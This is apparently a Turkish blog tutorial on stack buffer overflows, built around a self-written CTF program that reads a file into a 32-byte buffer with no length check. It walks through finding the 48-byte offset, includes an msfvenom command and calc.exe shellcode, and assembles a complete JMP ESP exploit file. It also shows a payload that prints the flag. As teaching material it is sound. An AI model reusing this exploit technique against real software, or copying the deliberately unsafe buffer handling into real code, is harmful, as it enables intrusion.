Bu yazımızda buffer overflow zafiyetini küçük bir zafiyetli kod üzerinde pratikler ile anlamaya çalışacağız.
Buffer overflow (BOF) zafiyeti yazılan program içerisinde zafiyetli fonksiyonların kullanılması sonucunda yada input alanlarından alınan verilerin kontrol edilmeden işlenmeye çalışılması sonucunda ortaya çıkan bir zafiyettir.
#include
using namespace std;
void func(int key) {
char overflowme[32];
FILE* fp;
fp = fopen("key.txt","rb");
fgets(overflowme,100000,fp);
if (key == 0xcafebabe) {
printf("flag{muraterdem.org}\n");
}
else {
printf("tekrar deneyiniz\n");
}
}
int main(int argc, char* argv[]) {
func(0xdeadbeef);
return 0;
}
Yukarıda kendi yazdığım küçük bir ctf sorusu görmekteyiz. Ancak burada amaç flag bulmak değil bof zafiyetini anlamak olduğu için biz burada flag ile uğraşmayacağız.
Burada olup bitenleri anlamadan önce assembly programlamada fonksiyon çağrıları nasıl yapılıyor? biraz bunlara bakalım.
Calling conventions alt programlar ile ana program arasındaki bağlantıyı sağlayan haberleşme kurallarıdır diyebiliriz. Bu kurallar ile fonksiyonlara giden parametrelerin nasıl gönderileceği, stack ile ilgili işlemleri kimin yapacağı gibi konularda karar vermeyi sağlarlar. Bir derleyici hangi çağrı kuralı kullanılacağını seçmemize izin verir. Ancak bazen istediğimiz çağrı kuralını kullanmama hakkına sahiptir. Sistem veya derleyici tarafından varsayılan çağrı kuralları kullanılır.
Bu çağrı kuralları en fazla kullanılanlarıdır. Farklı çağrı kuralları da kullanılabilmektedir. Geri dönüş değerleri ise genelde eax registeri üzerinden sağlanmaktadır.
Bir uygulama üzerinde bof zafiyeti olup olmadığını anlamak için genelde input alanlarına girilen veri miktarını arttırmak, uygulamanın dışarı ile iletişimini çözmek ve içerisinde kullanılan zafiyetli fonksiyonlara göz atmak gibi kontroller yapılabilir. Bizim fonksiyonumuzda ise kaynak kodu elimizde olduğu için fgets fonksiyonunun kullanılmış olduğunu ve dosyadan okuyacağı değeri boyutuna bakmaksızın overflowme dizisine kopyalayacağını görebiliriz. Bizim başlangıç noktamız ise burası olmalıdır.
programımızı 32 bit olarak derleyerek, x32 dbg üzerinde debug ettiğimizde assembly komutları aşağıdaki gibi görünecektir.
Burada görebileceğiniz gibi bizim fonksiyonumuzun çalışması sırasında işlenen asembly komutları bulunmaktadır. Bu kodları okumaya başlarsak öncelikle ebp registerini push edip esp de bulunan değeri ebp ye kopyalamaktadır. Bu işlem sonucunda bizim fonksiyonumuzun stack frame oluşmaktadır. Daha sonra ise esp registerinden hex olarak 48 çıkarmaktadır bu fonksiyonun lokal değişkenleri için yer ayırmak anlamına gelmektedir. Daha sonra fopen fonksiyonu için parametreleri stacka push etmektedir. Sağdan sola şeklinde push edildiğine dikkat edelim.
fopen fonksiyonunun çağrısı sırasında stack içerisinde aşağıdaki gibi bir görünüm olacaktır.
Burada öncelikle 28FE64 adresinde stack üzerine push edilen parametreyi görmekteyiz daha sonra ise çağrı yapılan adresten bir sonraki adresi geri dönüş adresi olarak görmekteyiz. Bu fonksiyonun üzerinde ise genelde ebp registerinin içeriği ve local değişkenler için ayrılan alan bulunmaktadır. Fonksiyonlar kendilerine gönderilen parametreleri local alanlarına kopyalarlar. Bu noktada kopyalama sırasında 48 karakterlik yer ayırdıklarından ve değeri kontrol etmediklerinden gereğinden fazla değer yazarak kendilerinden sonra gelen ebp, eip ye yazılacak olan return değerinin ve daha öncesinde push edilen diğer verilerin üzerine yazmaya devam eder. BOF zafiyeti de buradan çıkmaktadır. Biz programın çalışacağı adresi maniple ederek bizim istediğimiz adrese gitmesini sağlayabiliriz.
Burada biz kaç karakterden sonra taşma olduğunu görmek için metasploitin pattern create toolunu yada online web sitelerini kullanabiliriz.
Resimde görüldüğü gibi 100 karakterlik bir pattern create ettik ve taşma olduğunda eip registerinde yazan değerleri sorgulatarak 48 baytta taşma olduğunu tespit ettik.
Bu uygulamanın taşması için gerekli input dosyasını aşağıdaki python kodu ile oluşturabilirsiniz.
pattern=b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
with open("key.txt","wb") as file:
file.write(pattern)
Buraya kadar artık bof zafiyetinin oluşmasına neyin nasıl sebep olduğunu bulduk. Buradan sonra bu zafiyeti kullanma aşaması geldi ben bu zafiyeti kullanarak basit bir hesap makinesi başlatacağım bunun yerine istediğiniz herhangi bir payload kullanabilirsiniz. hesap makinemizi çalıştıracak olan komutlarının hex karşılığını almak için msfvenom kullanabiliriz. Aşağıdaki komutu kullanarak python programlamada kullanabileceğimiz shellcode çıktısını alabiliriz.
msfvenom -f python -p windows/exec cmd=calc.exe EXITFUNC=seh -b "\x00"
Bu noktada bu shellcodu programın çalıştırmasını sağlamak için öncelikle eip adresine buranın adresini yazmamız gerekiyor. Biz zaten eip registerine 48 bayttan sonrasının taştığını biliyoruz. Bu adrese programın kullandığı dll’ler içerisindeki bir jmp esp komutunun adresini yazarsak, eip önce bu adrese oradan da esp registerinin gösterdiği adrese zıplayacaktır. DLL içerisindeki adresi kullanma nedenimiz adreslerin genelde sabit olmasıdır. Biz stack yaza bildiğimizi biliyoruz. Stack yapısını hatırlarsak eip stack üzerinden çekiliyordu, eip stactan çekildikten sonra kalan kısımda bir miktar çöp kod olabilir ama daha sonra esp ye yazacaktır bunu da kısa bir aralıksa manuel yada patternleri kullanarak tespit edebiliriz.
ESP registerine shellcode yazdıktan sonra program otomatik olarak buradaki kodları çalıştıracaktır. ancak zararlı kodumuz stack alanına ihtiyaç duyarsa kendi üzerinde yazabilir. Bu da kodların bozulmasını sağlar. Bunu engellemk için esp nin başına biraz nop komutu koyabiliriz. Nop komutu cpu ya hiç bir işlem yatırmadan sonraki adrese geçmesini sağlar assembly karşılığı “\x90” dır.
Tüm bunları yapan python kodumuz aşağıdaki gibi olacaktır.
buf = b""
buf += b"\xd9\xe8\xbe\x86\xfe\xf8\xde\xd9\x74\x24\xf4\x5f\x29"
buf += b"\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc\x03\x77\x92\x1c"
buf += b"\x0d\x22\x72\x62\xee\xdb\x82\x03\x66\x3e\xb3\x03\x1c"
buf += b"\x4a\xe3\xb3\x56\x1e\x0f\x3f\x3a\x8b\x84\x4d\x93\xbc"
buf += b"\x2d\xfb\xc5\xf3\xae\x50\x35\x95\x2c\xab\x6a\x75\x0d"
buf += b"\x64\x7f\x74\x4a\x99\x72\x24\x03\xd5\x21\xd9\x20\xa3"
buf += b"\xf9\x52\x7a\x25\x7a\x86\xca\x44\xab\x19\x41\x1f\x6b"
buf += b"\x9b\x86\x2b\x22\x83\xcb\x16\xfc\x38\x3f\xec\xff\xe8"
buf += b"\x0e\x0d\x53\xd5\xbf\xfc\xad\x11\x07\x1f\xd8\x6b\x74"
buf += b"\xa2\xdb\xaf\x07\x78\x69\x34\xaf\x0b\xc9\x90\x4e\xdf"
buf += b"\x8c\x53\x5c\x94\xdb\x3c\x40\x2b\x0f\x37\x7c\xa0\xae"
buf += b"\x98\xf5\xf2\x94\x3c\x5e\xa0\xb5\x65\x3a\x07\xc9\x76"
buf += b"\xe5\xf8\x6f\xfc\x0b\xec\x1d\x5f\x41\xf3\x90\xe5\x27"
buf += b"\xf3\xaa\xe5\x17\x9c\x9b\x6e\xf8\xdb\x23\xa5\xbd\x1a"
buf += b"\xd5\x74\x2b\x8a\x4c\xed\x16\xd6\x6e\xdb\x54\xef\xec"
buf += b"\xee\x24\x14\xec\x9a\x21\x50\xaa\x77\x5b\xc9\x5f\x78"
buf += b"\xc8\xea\x75\x1b\x8f\x78\x15\xf2\x2a\xf9\xbc\x0a"
buffer = b"A" *48
eip = b"\x93\xC7\xB0\x77" #77B0C793 JMP ESP adresi
nop = b"\x90" * 36 # NOP komutları
ex = buffer + eip + nop + buf
with open("key.txt","wb") as file:
file.write(ex)
Buradan sonra yukarıdaki python kodları ile key.txt dosyamızı oluşturup programı çalıştırdığımızda mutlu sona ulaşabiliriz.
Biz exploitimizi yazarken jmp esp komutu yerine aşağıdaki herhangi bir alternatifini de kullanabiliriz. Hangisini kullanacağımız o anki programın davranışına ve bizim değiştirebildiğimiz bayt miktarına göre değişiklik gösterebilir.
Ayrıca flag almak için aşağıdaki komutu key.txt dosyasını aşağıdaki python kodu ile oluşturabiliriz.
buffer = b"A" * 52
key = b"\xBE\xBA\xFE\xCA"
flag = buffer + key
with open("key.txt","wb") as file:
file.write(flag)
Bununla birlikte ekrana “flag{muraterdem.org}” yazacaktır yada flag için sadece stringe de bakabilirsiniz.
Bu yazımda bof zafiyetinin temel mantığını anlatmaya çalıştım, Buradaki adresler ve boyutlar farklılık gösterebilir ama genel mantığı bu şekildedir.